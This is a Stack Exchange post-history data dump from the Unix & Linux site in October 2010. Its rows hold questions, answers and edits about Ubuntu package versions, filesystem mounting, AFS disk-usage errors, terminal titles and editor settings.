  <row Id="6868" PostHistoryTypeId="2" PostId="3246" RevisionGUID="e22dfbe6-b85f-427c-996a-e29cda59e867" CreationDate="2010-10-18T13:19:27.220" UserId="1615" Text="I have installed Ubuntu Server 10.10 and now I want to install some software like PostgreSQL, Nginx and PHP. But what is the preferred way to get the latest stable version of the software?&#xD;&#xA;&#xD;&#xA;E.g I tried with `sudo apt-get install postgresql` but that installed version 8.4 of PostgreSQL but 9.0.1 is the latest version.&#xD;&#xA;&#xD;&#xA;I have had this issue before with NginX. The solution was then to download the sourcefiles and compile the latest version which took some time. Later a friend told me that wasn't a preferred way to install software.&#xD;&#xA;&#xD;&#xA;Any recommendations?" />
  <row Id="6869" PostHistoryTypeId="1" PostId="3246" RevisionGUID="e22dfbe6-b85f-427c-996a-e29cda59e867" CreationDate="2010-10-18T13:19:27.220" UserId="1615" Text="What is the preferred way to install new versions of software?" />
  <row Id="6870" PostHistoryTypeId="3" PostId="3246" RevisionGUID="e22dfbe6-b85f-427c-996a-e29cda59e867" CreationDate="2010-10-18T13:19:27.220" UserId="1615" Text="éubuntuàéinstallàéaptàéversionàésoftwareöinstallationà" />
  <row Id="6871" PostHistoryTypeId="5" PostId="3244" RevisionGUID="f697a39c-f749-4d46-a970-9d917b7b8307" CreationDate="2010-10-18T13:21:20.333" UserId="1941" Comment="added 3 characters in body" Text="You can tell xterm to change its Window title using escape sequences. At least with Gnome, this is also reflected in the task bar. Issuing the command&#xD;&#xA;&#xD;&#xA;    echo -e -n &quot;\033]0;${USER}@${HOST}\007&quot;&#xD;&#xA;&#xD;&#xA;at the command prompt e.g. sets the title to user name and hostname. Of course you can put between &quot;\033]0;&quot; and &quot;\007&quot; any static strings, command output or environment variables you want. See [the xterm title faq][1] for more details and ideas.&#xD;&#xA;&#xD;&#xA;This not only works for xterms but for many modern terminal emulators.&#xD;&#xA;&#xD;&#xA;  [1]: http://www.faqs.org/docs/Linux-mini/Xterm-Title.html" />
  <row Id="6872" PostHistoryTypeId="2" PostId="3247" RevisionGUID="b74afaa9-3fd9-492b-9695-a052a75cc69f" CreationDate="2010-10-18T13:30:12.413" UserId="1325" Text="Hi,&#xD;&#xA;&#xD;&#xA; I want to understand what *mounting* is. It is used in different contexts and situations and I can't find resources which&#xD;&#xA;&#xD;&#xA; 1. Describe the **mount** concept&#xD;&#xA; 2. Explain the actions taken by the computer/OS/utility when a **mount** is performed&#xD;&#xA; 3. How and in which situations **mount** is used&#xD;&#xA; 4. Which features in the Linux **mount** command are of frequent use and some examples&#xD;&#xA;&#xD;&#xA;(I hear **mount** applied to diverse entities directories, flash drives, network card, etc)&#xD;&#xA;&#xD;&#xA;Best," />
  <row Id="6873" PostHistoryTypeId="1" PostId="3247" RevisionGUID="b74afaa9-3fd9-492b-9695-a052a75cc69f" CreationDate="2010-10-18T13:30:12.413" UserId="1325" Text="understanding &quot;mount&quot; as a concept in the OS" />
  <row Id="6874" PostHistoryTypeId="3" PostId="3247" RevisionGUID="b74afaa9-3fd9-492b-9695-a052a75cc69f" CreationDate="2010-10-18T13:30:12.413" UserId="1325" Text="écommandölineàéfilesystemsàémountà" />
  <row Id="6875" PostHistoryTypeId="2" PostId="3248" RevisionGUID="b1e9bf45-6855-48c4-a726-53ec2fd3f5d6" CreationDate="2010-10-18T13:30:49.590" UserId="1474" Text="Either you are patient and stick with what you have, or you find an official backport, or you find some unofficial backports, or you build your own package.  The details depend on the particular package.&#xD;&#xA;&#xD;&#xA;For example, in the case of PostgreSQL, you can either way a few more weeks until the package officially enters some Ubuntu version, at which point also official backports will appear, or in the meantime you can get unofficial packages (albeit from the same packager) at https://launchpad.net/~pitti/+archive/postgresql.&#xD;&#xA;&#xD;&#xA;Building your own packages from scratch or installing from source is probably not recommendable for the type of rather complex software that you mention, unless you are mainly interested in learning the internals rather than using them in production." />
  <row Id="6876" PostHistoryTypeId="2" PostId="3249" RevisionGUID="8191134c-98e9-49dc-8237-b07d939826a6" CreationDate="2010-10-18T13:35:25.360" UserId="1941" Text="The recommended way is to use the software versions your distribution provides, i.e. `sudo apt-get install postgresql` is correct. This might not always be the most recent version released upstream, but in most cases one doesn't really need the latest one.&#xD;&#xA;&#xD;&#xA;If you (think you) need the very latest version of everything, you might want to use a distribution which is very fast with releasing new versions for its packages. E.g. while Ubuntu for many packages only releases new version upgrades with its half-yearly major update, Fedora more often adds new versions as updates to the current distribution incarnation. Other distributions like Gentoo give releases even faster. (However, all mentioned distribution gives security updates in a timely fashion of course.)&#xD;&#xA;&#xD;&#xA;If you in general are happy by getting the latest versions, e.g. twice a year and only have one or two packages for which you need the latest and greatest, you can stay with Ubuntu or a similar distribution and either build the packages for which you need the latest  version from source and install e.g. to /opt or /usr/local or you can try to get pre-build packages from the development tree of your distribution.&#xD;&#xA;&#xD;&#xA;" />
  <row Id="6877" PostHistoryTypeId="2" PostId="3250" RevisionGUID="c7eb22b3-1230-47d4-9bcb-0b922bfe7bd6" CreationDate="2010-10-18T13:37:14.700" UserId="1071" Text="If this is something that's very important to you, I'd consider switching to a more &quot;bleeding edge&quot; distribution; distros like Ubuntu follow a fixed release schedule, and also like to wait a bit before software has been through testing before shifting into their stable package repositories. (Of course it's much more up to date that some others, like Debian stable.)&#xD;&#xA;&#xD;&#xA;Personally I use Arch Linux. Packages get updated to the newest release very quickly in most cases, and it's a &quot;rolling release&quot; distro so you can always be up to date. The counterbalance is that sometimes things break with updates and you have to keep on top of things to make the necessary adjustments yourself rather than waiting for a package management team to do it for you.&#xD;&#xA;&#xD;&#xA;A good place to learn about which distributions are more or less up to date is &lt;a href=&quot;http://oswatershed.org/&quot;&gt;OpenSourceWatershed&lt;/a&gt;.&#xD;&#xA;" />
  <row Id="6878" PostHistoryTypeId="2" PostId="3251" RevisionGUID="f639bbcf-1d0c-4308-ac3c-6cc44345b367" CreationDate="2010-10-18T13:42:15.567" UserId="274" Text="As far as I know, there is no single environment variable or configuration setting that is checked by every UNIX editor.&#xD;&#xA;&#xD;&#xA;For Emacs, you can turn off file backups for all files by inserting this into your `~/.emacs`:&#xD;&#xA;&#xD;&#xA;    (setq backup-enable-predicate (lambda (path) nil))&#xD;&#xA;&#xD;&#xA;GEdit has a boolean configuration key `/apps/gedit-2/preferences/editor/save/create_backup_copy` that you can set with `gconf-tool`.&#xD;&#xA;&#xD;&#xA;I'm quite sure there are as many ways to turn backups off as there are editors. :-)" />
  <row Id="6880" PostHistoryTypeId="5" PostId="3143" RevisionGUID="e870d4c3-0964-414c-9d07-e196e838ba9e" CreationDate="2010-10-18T13:59:15.980" UserId="1339" Comment="formatting" Text="Hi&#xD;&#xA; &#xD;&#xA; I am on the university machine trying to estimate the disk usage I have on my space I do&#xD;&#xA;&#xD;&#xA;    du -csh ./&#xD;&#xA;&#xD;&#xA;from the begining of my account, but an error is given that ./Yesterday/Yesterday is not a device, so I do &#xD;&#xA;&#xD;&#xA;    du -csh --exclude=&quot;Yes*&quot; ./&#xD;&#xA;&#xD;&#xA;and the error is stopped. But is there a more elegant way, and why is this error emerging? I can image how the Yesterday of Yesterday gets removed but whats the concepts behind the error.&#xD;&#xA;Best,&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;1) **using stat:**&#xD;&#xA;&#xD;&#xA;    [ratz]s0128943: stat Yesterday &#xD;&#xA;    File: `Yesterday' &#xD;&#xA;    Size: 12288 Blocks: 24 IO Block: 4096 directory &#xD;&#xA;    Device: 1dh/29d &#xD;&#xA;    Inode: 714342402 &#xD;&#xA;    Links: 90 Access: (0745/drwxr--r-x) &#xD;&#xA;    Uid: (35559/s0128943) &#xD;&#xA;    Gid: (28065/ UNKNOWN) &#xD;&#xA;    Access: 2010-10-15 13:06:07.000000000 +0100 &#xD;&#xA;    Modify: 2010-10-15 13:06:07.000000000 +0100 &#xD;&#xA;    Change: 2010-10-15 13:06:07.000000000 +0100&#xD;&#xA;&#xD;&#xA;2) **using stat on Yesterday/Yesterday**&#xD;&#xA;&#xD;&#xA;    stat ./Yesterday/Yesterday &#xD;&#xA;    stat: cannot stat `./Yesterday/Yesterday': No such device &#xD;&#xA;&#xD;&#xA;3) **using uname for details**&#xD;&#xA;&#xD;&#xA;    [ratz]s0128943: uname -srv &#xD;&#xA;    Linux 2.6.18-194.3.1.el5.inf.1 #1 SMP Fri May 21 12:59:58 BST 2010 &#xD;&#xA;&#xD;&#xA;4) **using df on Yesterday/**&#xD;&#xA;&#xD;&#xA;    [ratz]s0128943: df Yesterday/ &#xD;&#xA;    Filesystem 1K-blocks Used Available &#xD;&#xA;    Use% Mounted on AFS 9000000 0 9000000 0% /afs&#xD;&#xA;&#xD;&#xA;5) **using df on Yesterday/Yesterday**&#xD;&#xA;&#xD;&#xA;    df Yesterday/Yesterday &#xD;&#xA;    df: `Yesterday/Yesterday': No such device&#xD;&#xA;&#xD;&#xA;6) `mount | grep Yesterday` produces nothing &#xD;&#xA;" />
  <row Id="6881" PostHistoryTypeId="2" PostId="3253" RevisionGUID="88170224-4ec9-4a00-bf62-f8ce433d72a6" CreationDate="2010-10-18T14:01:51.503" UserId="274" Text="As [fschnitt](http://unix.stackexchange.com/users/1941/fschmitt)&#xD;&#xA;points out, a comprehensive answer to this would likely be a chapter&#xD;&#xA;in a systems administration manual, so I'll try just to sketch the&#xD;&#xA;basic concepts.  Ask new questions if you need more detail on specific&#xD;&#xA;points.&#xD;&#xA;&#xD;&#xA;In UNIX, all files in the system are organized into a _single_&#xD;&#xA;directory tree structure (as opposed to Windows, where you have a&#xD;&#xA;separate directory tree for each drive).&#xD;&#xA;&#xD;&#xA;There is a &quot;root&quot; directory, which is denoted by `/`, which&#xD;&#xA;corresponds to the top directory on the main drive/partition (in the&#xD;&#xA;Windows world, this would be `C:`).  Any other directory and file in&#xD;&#xA;the system can be reached from the root, by walking down&#xD;&#xA;sub-directories.&#xD;&#xA;&#xD;&#xA;How can you make other drives/partitions visible to the system in such&#xD;&#xA;a unique tree structure?  You _mount_ them: mounting a drive/partition&#xD;&#xA;on a directory (e.g., `/media/usb`) means that the top directory on&#xD;&#xA;that drive/partition becomes visible as the directory being mounted.&#xD;&#xA;Example: if I insert a USB stick in Windows I get a new drive, e.g.,&#xD;&#xA;`F:`; if in Linux I mount it on directory `/media/usb`, then the&#xD;&#xA;top directory on the USB stick (what I would see by opening the `F:`&#xD;&#xA;drive in Windows) will be visible in Linux as directory `/media/usb`. &#xD;&#xA;In this case, the `/media/usb` directory is called a &quot;mount point&quot;.&#xD;&#xA;&#xD;&#xA;Now, drives/partitions/etc. are traditionally called &quot;(block) devices&quot;&#xD;&#xA;in the UNIX world, so you always speak of mounting a device on a&#xD;&#xA;directory.  By abuse of language, you can just say &quot;mount this device&quot;&#xD;&#xA;or &quot;unmount that directory&quot;.&#xD;&#xA;&#xD;&#xA;I think I've only covered your point 1., but this could get you&#xD;&#xA;started for more specific questions.&#xD;&#xA;&#xD;&#xA;Further reading:&#xD;&#xA;* http://ultra.pr.erau.edu/~jaffem/tutorial/file_system_basics.htm" />
  <row Id="6882" PostHistoryTypeId="5" PostId="3247" RevisionGUID="cd91b275-7508-4994-990b-37bb07e4e102" CreationDate="2010-10-18T14:10:10.123" UserId="1325" Comment="make the question less broad" Text="Hi,&#xD;&#xA;&#xD;&#xA; I want to understand better what *mounting* is. Specifically why do we need to mount in the first place and are there other alternatives to the same task. What are the things you **mount**? (if possible what is happening when you mount something like the disk in the CDrom?)&#xD;&#xA;&#xD;&#xA;Best," />
  <row Id="6883" PostHistoryTypeId="8" PostId="3247" RevisionGUID="3879612e-d62c-43e8-93ba-174168d47e41" CreationDate="2010-10-18T14:15:31.993" UserId="1325" Comment="Rollback to [b74afaa9-3fd9-492b-9695-a052a75cc69f]" Text="Hi,&#xD;&#xA;&#xD;&#xA; I want to understand what *mounting* is. It is used in different contexts and situations and I can't find resources which&#xD;&#xA;&#xD;&#xA; 1. Describe the **mount** concept&#xD;&#xA; 2. Explain the actions taken by the computer/OS/utility when a **mount** is performed&#xD;&#xA; 3. How and in which situations **mount** is used&#xD;&#xA; 4. Which features in the Linux **mount** command are of frequent use and some examples&#xD;&#xA;&#xD;&#xA;(I hear **mount** applied to diverse entities directories, flash drives, network card, etc)&#xD;&#xA;&#xD;&#xA;Best," />
  <row Id="6884" PostHistoryTypeId="5" PostId="3247" RevisionGUID="828816d4-27de-4185-a413-6ed2d62616ad" CreationDate="2010-10-18T14:19:37.487" UserId="1327" Comment="question has no direct relationship with the command-line tag " Text="I want to understand what *mounting* is. It is used in different contexts and situations and I can't find resources which:&#xD;&#xA;&#xD;&#xA; 1. Describe the **mount** concept&#xD;&#xA; 2. Explain the actions taken by the computer/OS/utility when a **mount** is performed&#xD;&#xA; 3. How and in which situations **mount** is used&#xD;&#xA; 4. Which features in the Linux **mount** command are of frequent use and some examples&#xD;&#xA;&#xD;&#xA;( I hear **mount** applied to diverse entities directories, flash drives, network card, etc )" />
  <row Id="6885" PostHistoryTypeId="6" PostId="3247" RevisionGUID="828816d4-27de-4185-a413-6ed2d62616ad" CreationDate="2010-10-18T14:19:37.487" UserId="1327" Comment="question has no direct relationship with the command-line tag " Text="éfilesystemsàémountà" />
  <row Id="6886" PostHistoryTypeId="2" PostId="3254" RevisionGUID="4b7703e9-026e-4ec8-8d7c-45d9592efb3e" CreationDate="2010-10-18T14:28:25.600" UserId="1339" Text="**In Unix everything is a file.** &#xD;&#xA;&#xD;&#xA;These files  are organized in a tree structure, beginning at the root `/`.&#xD;&#xA;&#xD;&#xA;Your filesystem or filesystems will then be mounted at the appropriate places in your `/` according your `/etc/fstab` file. This file contains information about your filesystems, which device they belong to and to which point they will get mounted to - the **mountpoint**.&#xD;&#xA;&#xD;&#xA;Thats the &quot;mount concept&quot;.&#xD;&#xA;&#xD;&#xA;It is not limited to disks and other blockdevices, here are some examples involving mount:&#xD;&#xA;&#xD;&#xA;* Mount a representation of your running kernel under /proc&#xD;&#xA;* Mount a special log partition (other device, &quot;logfriendly&quot; filesystem) under /var/log&#xD;&#xA;* Install different systems and mount just one home directory&#xD;&#xA;* Mount remote directories for example via NFS to your system&#xD;&#xA;* Mount a image of a cd to a specific directory" />
  <row Id="6887" PostHistoryTypeId="5" PostId="3143" RevisionGUID="23be6366-9713-4a13-a547-0edbce81ceaa" CreationDate="2010-10-18T14:28:30.873" UserId="885" Comment="added tags: afs, filesystems; reformatted df output" Text="Hi&#xD;&#xA; &#xD;&#xA; I am on the university machine trying to estimate the disk usage I have on my space I do&#xD;&#xA;&#xD;&#xA;    du -csh ./&#xD;&#xA;&#xD;&#xA;from the begining of my account, but an error is given that ./Yesterday/Yesterday is not a device, so I do &#xD;&#xA;&#xD;&#xA;    du -csh --exclude=&quot;Yes*&quot; ./&#xD;&#xA;&#xD;&#xA;and the error is stopped. But is there a more elegant way, and why is this error emerging? I can image how the Yesterday of Yesterday gets removed but whats the concepts behind the error.&#xD;&#xA;Best,&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;1) **using stat:**&#xD;&#xA;&#xD;&#xA;    [ratz]s0128943: stat Yesterday &#xD;&#xA;    File: `Yesterday' &#xD;&#xA;    Size: 12288 Blocks: 24 IO Block: 4096 directory &#xD;&#xA;    Device: 1dh/29d &#xD;&#xA;    Inode: 714342402 &#xD;&#xA;    Links: 90 Access: (0745/drwxr--r-x) &#xD;&#xA;    Uid: (35559/s0128943) &#xD;&#xA;    Gid: (28065/ UNKNOWN) &#xD;&#xA;    Access: 2010-10-15 13:06:07.000000000 +0100 &#xD;&#xA;    Modify: 2010-10-15 13:06:07.000000000 +0100 &#xD;&#xA;    Change: 2010-10-15 13:06:07.000000000 +0100&#xD;&#xA;&#xD;&#xA;2) **using stat on Yesterday/Yesterday**&#xD;&#xA;&#xD;&#xA;    stat ./Yesterday/Yesterday &#xD;&#xA;    stat: cannot stat `./Yesterday/Yesterday': No such device &#xD;&#xA;&#xD;&#xA;3) **using uname for details**&#xD;&#xA;&#xD;&#xA;    [ratz]s0128943: uname -srv &#xD;&#xA;    Linux 2.6.18-194.3.1.el5.inf.1 #1 SMP Fri May 21 12:59:58 BST 2010 &#xD;&#xA;&#xD;&#xA;4) **using df on Yesterday/**&#xD;&#xA;&#xD;&#xA;    [ratz]s0128943: df Yesterday/&#xD;&#xA;    Filesystem           1K-blocks      Used Available Use% Mounted on&#xD;&#xA;    AFS                    9000000         0   9000000   0% /afs&#xD;&#xA;&#xD;&#xA;5) **using df on Yesterday/Yesterday**&#xD;&#xA;&#xD;&#xA;    df Yesterday/Yesterday &#xD;&#xA;    df: `Yesterday/Yesterday': No such device&#xD;&#xA;&#xD;&#xA;6) `mount | grep Yesterday` produces nothing &#xD;&#xA;" />
  <row Id="6888" PostHistoryTypeId="6" PostId="3143" RevisionGUID="23be6366-9713-4a13-a547-0edbce81ceaa" CreationDate="2010-10-18T14:28:30.873" UserId="885" Comment="added tags: afs, filesystems; reformatted df output" Text="éshellàéfilesystemsàédisköusageàéafsà" />
  <row Id="6889" PostHistoryTypeId="2" PostId="3255" RevisionGUID="6275a935-296f-435a-bee0-770508ebe170" CreationDate="2010-10-18T14:45:35.210" UserId="455" Text="This actually makes a rather strong argument for &quot;learn one editor well&quot;.&#xD;&#xA;&#xD;&#xA;FWIW, the .vimrc statement would be &quot;set nobackup&quot;." />
  <row Id="6892" PostHistoryTypeId="5" PostId="3240" RevisionGUID="42252670-48c7-48ef-baa9-3f836212f1bc" CreationDate="2010-10-18T15:14:05.950" UserId="73" Comment="added 20 characters in body" Text="Well, I imagine 2 situations here:&#xD;&#xA;&#xD;&#xA;1. If I need to run a small number of commands I would just run them again on any other machine (by small number I mean less then 10)&#xD;&#xA;&#xD;&#xA;2. If I need to run many commands I would put them into a bash script and run the script on all the other machines. The script should look like this:&#xD;&#xA;&#xD;&#xA;        #!/bin/bash&#xD;&#xA;        command 1&#xD;&#xA;        command 2&#xD;&#xA;        command 3&#xD;&#xA;        command 4&#xD;&#xA;&#xD;&#xA;If you are unsure about the outcome of some commands, you can separate the commands by `&amp;&amp;`, meaning that the next command will execute only if the previous was successful. `command1 &amp;&amp; command2` means that command2 will not be executed if command1 fails." />
  <row Id="6893" PostHistoryTypeId="2" PostId="3256" RevisionGUID="6e4f3b7c-f49a-4d4f-9d27-aab47a0df64a" CreationDate="2010-10-18T15:21:07.973" UserId="12" Text="I can't really describe the slightly odd behaviour of my terminal window and occasionally also on emacs, but here's a picture of it happening:&#xD;&#xA;&#xD;&#xA;![Weird stuff][1]&#xD;&#xA;&#xD;&#xA;If I press CTRL+L, it disappears. What could cause this? It started happening once I upgraded to Ubuntu 10.10, so I expect something broke there. It's a zsh shell using xterm.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://i.imgur.com/CVU4w.png" />
  <row Id="6894" PostHistoryTypeId="1" PostId="3256" RevisionGUID="6e4f3b7c-f49a-4d4f-9d27-aab47a0df64a" CreationDate="2010-10-18T15:21:07.973" UserId="12" Text="Weird stuff going on in terminal and emacs since upgrade to Ubuntu 10.10" />
  <row Id="6895" PostHistoryTypeId="3" PostId="3256" RevisionGUID="6e4f3b7c-f49a-4d4f-9d27-aab47a0df64a" CreationDate="2010-10-18T15:21:07.973" UserId="12" Text="éterminalàéxtermöterminalà" />
  <row Id="6896" PostHistoryTypeId="2" PostId="3257" RevisionGUID="2a8c17f3-10dd-4e0e-8edf-dc308134959d" CreationDate="2010-10-18T15:22:05.987" UserId="102" Text="Your university seems to be using an AFS filesystem and the Yesterday folder contains a read-only snapshot of yesterday's content in the `Yesterday` folder. Probably the web page of your university's IT department has some information on this. &#xD;&#xA;&#xD;&#xA;Probably you have a quota set for your disk space (i.e. a maximum amount you are allowed to use), you can check your current usage with:&#xD;&#xA;&#xD;&#xA;    fs lq&#xD;&#xA;" />
  <row Id="6898" PostHistoryTypeId="5" PostId="3256" RevisionGUID="87583c63-6bd5-494e-8780-21d8bb8cbada" CreationDate="2010-10-18T15:51:53.063" UserId="12" Comment="added info about computer" Text="I can't really describe the slightly odd behaviour of my terminal window and occasionally also on emacs, but here's a picture of it happening:&#xD;&#xA;&#xD;&#xA;![Weird stuff][1]&#xD;&#xA;&#xD;&#xA;If I press CTRL+L, it disappears. What could cause this? It started happening once I upgraded to Ubuntu 10.10, so I expect something broke there. It's a zsh shell using xterm. The computer in question is an Acer Aspire Timeline 4810T.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://i.imgur.com/CVU4w.png" />
  <row Id="6899" PostHistoryTypeId="2" PostId="3258" RevisionGUID="50d7346c-2fae-432f-a1c4-cf58def10a2b" CreationDate="2010-10-18T15:54:47.337" UserId="73" Text="&#xA;&lt;p&gt;&#xA;    Unix and Linux - Stack Exchange is for &lt;span class=&quot;revision-comment&quot;&gt;users of Linux, FreeBSD and other Un*x-like operating systems.&lt;/span&gt;&#xA;&lt;/p&gt;&#xA;&#xA;If your question is about:&#xA;&#xA;* Using or administering a *nix desktop or server&#xA;* The Unix foundation underlying MacOS (but generally *not* frontend application questions)&#xA;* The underlying *nix OS on an embedded system or handheld device (e.g. an Android phone)&#xA;* Shell scripting&#xA;&#xA;then you're in the right place. If you're not sure if your question is on-topic, [ask on meta](http://meta.unix.stackexchange.com/questions/ask) or just [give it a try](http://unix.stackexchange.com/questions/ask) and the community will decide." />
  <row Id="6900" PostHistoryTypeId="5" PostId="3248" RevisionGUID="466d1cdf-287b-44e4-941a-7d696144d093" CreationDate="2010-10-18T16:31:04.750" UserId="1474" Comment="corrected spelling" Text="Either you are patient and stick with what you have, or you find an official backport, or you find some unofficial backports, or you build your own package.  The details depend on the particular package.&#xD;&#xA;&#xD;&#xA;For example, in the case of PostgreSQL, you can either wait a few more weeks until the package officially enters some Ubuntu version, at which point also official backports will appear, or in the meantime you can get unofficial packages (albeit from the same packager) at https://launchpad.net/~pitti/+archive/postgresql.&#xD;&#xA;&#xD;&#xA;Building your own packages from scratch or installing from source is probably not recommendable for the type of rather complex software that you mention, unless you are mainly interested in learning the internals rather than using them in production." />
  <row Id="6901" PostHistoryTypeId="2" PostId="3259" RevisionGUID="78a753f3-29e2-4508-8a53-1b86d34698d6" CreationDate="2010-10-18T17:39:58.437" UserId="305" Text="I find dead.letter files from time to time in my `$HOME` directory. What they are for?" />
  <row Id="6902" PostHistoryTypeId="1" PostId="3259" RevisionGUID="78a753f3-29e2-4508-8a53-1b86d34698d6" CreationDate="2010-10-18T17:39:58.437" UserId="305" Text="What does dead.letter files do" />
  <row Id="6903" PostHistoryTypeId="3" PostId="3259" RevisionGUID="78a753f3-29e2-4508-8a53-1b86d34698d6" CreationDate="2010-10-18T17:39:58.437" UserId="305" Text="éfilesà" />
  <row Id="6904" PostHistoryTypeId="2" PostId="3260" RevisionGUID="25c9f85f-eeb2-4648-95e4-acf5ad2e46d3" CreationDate="2010-10-18T17:48:14.213" UserId="73" Text="Either a program tried to send mail and failed (this is more likely), or you were in the middle of writing mail and broke out, so the client saved the draft in `dead.letter`. From the `mail` man page:&#xD;&#xA;&#xD;&#xA;&gt; Normally, when you abort a message with two interrupt characters (usually control-C), mail copies the partial letter to the file dead.letter in your home directory.&#xD;&#xA;" />
  <row Id="6905" PostHistoryTypeId="2" PostId="3261" RevisionGUID="2b9aee63-cf9b-4588-b24f-edf7bbbf8af1" CreationDate="2010-10-18T18:23:09.517" UserId="2049" Text="I've been messing around with my system too much and messed something up &#xD;&#xA;Help I've been fiddling with my system and messed it up. I'm new to ubuntu, but have been using linux on servers for a few years. I'm not sure of the correct terminology so I'm including screen shots to explain what is going on.&#xD;&#xA;&#xD;&#xA;First System specs:&#xD;&#xA;Ubuntu 10.4 LTS x64 Lucid&#xD;&#xA;Core i7-970&#xD;&#xA;Nvidia GTX 480&#xD;&#xA;Dual Screen with Twinview&#xD;&#xA;Nvidia proprietary dev driver 260.24 (64-bit)&#xD;&#xA;&#xD;&#xA;Now what I screwed up.&#xD;&#xA;First major customization was ppa:goehle/goehle-ppa customizations for keeping evolution open after closing main window. That worked fine until I started messing with getting hibernate working.&#xD;&#xA;&#xD;&#xA;I never got hibernate working even after installing linux-generic-tuxonice.&#xD;&#xA;&#xD;&#xA;It gave a warning about usb09 not stoping. the only things that I have in USB are keyboard and mouse.&#xD;&#xA;&#xD;&#xA;Then I started getting the error &#xD;&#xA;![alt text][1]&#xD;&#xA;&#xD;&#xA;Trying to fix this I reinstalled the evolution customizations. the error persists and now the panel is messed up as well. I'm not getting either the application icons, or the menu with the chat status, of the shutdown/restart/lock screen menu.&#xD;&#xA;&#xD;&#xA;This is what it should look like&#xD;&#xA;&#xD;&#xA;![alt text][2]&#xD;&#xA;&#xD;&#xA;But this is what I'm getting now&#xD;&#xA;&#xD;&#xA;![alt text][3]&#xD;&#xA;&#xD;&#xA;How do I get my icons back?&#xD;&#xA;&#xD;&#xA;**EDIT:** I found how to get my application icons back.&#xD;&#xA;&#xD;&#xA; 1. right click on panel&#xD;&#xA; 2. Add to Panel ...&#xD;&#xA; 3. Notification Area.&#xD;&#xA;&#xD;&#xA;I still have not figured out what the chat bubble menu and power menu are called.&#xD;&#xA;&#xD;&#xA;  [1]: http://i.imgur.com/Fe6ca.png&#xD;&#xA;  [2]: http://i.imgur.com/Apl4R.png&#xD;&#xA;  [3]: http://i.imgur.com/3WoNd.png" />
  <row Id="6906" PostHistoryTypeId="1" PostId="3261" RevisionGUID="2b9aee63-cf9b-4588-b24f-edf7bbbf8af1" CreationDate="2010-10-18T18:23:09.517" UserId="2049" Text="Gnome panel missing application icons, Chat bubble menu, and Power Menu" />
  <row Id="6907" PostHistoryTypeId="3" PostId="3261" RevisionGUID="2b9aee63-cf9b-4588-b24f-edf7bbbf8af1" CreationDate="2010-10-18T18:23:09.517" UserId="2049" Text="éubuntuàégnomeàénotificationsàégnomeöpanelà" />
  <row Id="6908" PostHistoryTypeId="5" PostId="3261" RevisionGUID="a122ed26-e503-4552-8fd9-20c89aac100f" CreationDate="2010-10-18T18:29:22.383" UserId="73" Comment="added 50 characters in body; edited title" Text="I've been messing around with my system too much and messed something up. I'm new to Ubuntu, but have been using linux on servers for a few years. I'm not sure of the correct terminology so I'm including screen shots to explain what is going on.&#xD;&#xA;&#xD;&#xA;First, system specs:&#xD;&#xA;&#xD;&#xA;&gt; Ubuntu 10.4 LTS x64 Lucid  &#xD;&#xA;Core i7-970  &#xD;&#xA;Nvidia GTX 480  &#xD;&#xA;Dual Screen with Twinview  &#xD;&#xA;Nvidia proprietary dev driver 260.24 (64-bit)&#xD;&#xA;&#xD;&#xA;Now what I screwed up:&#xD;&#xA;&#xD;&#xA;First major customization was `ppa:goehle/goehle-ppa` customizations for keeping evolution open after closing the main window. That worked fine until I started messing with getting hibernate working.&#xD;&#xA;&#xD;&#xA;I never got hibernate working even after installing `linux-generic-tuxonice`; it gave a warning about usb09 not stopping. The only things that I have in USB are a keyboard and mouse.&#xD;&#xA;&#xD;&#xA;Then I started getting the error:&#xD;&#xA;&#xD;&#xA;![The panel encountered a problem while loading &quot;OAFIID:GNOME_FastUserSwitchApplet&quot;][1]&#xD;&#xA;&#xD;&#xA;Trying to fix this, I reinstalled the Evolution customizations. The error persists and now the panel is messed up as well. I'm not getting the application icons, the menu with the chat status, or the shutdown/restart/lock screen menu.&#xD;&#xA;&#xD;&#xA;This is what it should look like:&#xD;&#xA;&#xD;&#xA;![Expected panel][2]&#xD;&#xA;&#xD;&#xA;But this is what I'm getting now:&#xD;&#xA;&#xD;&#xA;![Actual panel][3]&#xD;&#xA;&#xD;&#xA;How do I get my icons back?&#xD;&#xA;&#xD;&#xA;---&#xD;&#xA;&#xD;&#xA;**EDIT:** I found how to get my application icons back.&#xD;&#xA;&#xD;&#xA; 1. Right-click on panel&#xD;&#xA; 2. Add to Panel ...&#xD;&#xA; 3. Notification Area.&#xD;&#xA;&#xD;&#xA;I still have not figured out what the chat bubble menu and power menu are called.&#xD;&#xA;&#xD;&#xA;  [1]: http://i.imgur.com/Fe6ca.png&#xD;&#xA;  [2]: http://i.imgur.com/Apl4R.png&#xD;&#xA;  [3]: http://i.imgur.com/3WoNd.png" />
  <row Id="6909" PostHistoryTypeId="4" PostId="3261" RevisionGUID="a122ed26-e503-4552-8fd9-20c89aac100f" CreationDate="2010-10-18T18:29:22.383" UserId="73" Comment="added 50 characters in body; edited title" Text="Gnome panel missing application icons, chat bubble menu, and power menu" />
  <row Id="6910" PostHistoryTypeId="2" PostId="3262" RevisionGUID="4a9af1c8-1234-4164-abd3-f9d18cc1d10c" CreationDate="2010-10-18T20:26:21.700" UserId="614" Text="Use a read-only filesystem." />
  <row Id="6911" PostHistoryTypeId="5" PostId="3199" RevisionGUID="0b63e099-c717-47e0-9707-696133981a06" CreationDate="2010-10-18T20:35:08.913" UserId="2318" Comment="Update according to @garyjohn's comment." Text="It should be `syntax on` or `syntax off`.&#xD;&#xA;&#xD;&#xA;`set syntax=something` is used to change the current syntax (c, perl, nasm, etc).&#xD;&#xA;&#xD;&#xA;**UPDATE**: As @garyjohn pointed in comments, it's possible to turn it on/off for the current buffer and its corresponding filetype using `set syntax=ON` and `set syntax=OFF`." />
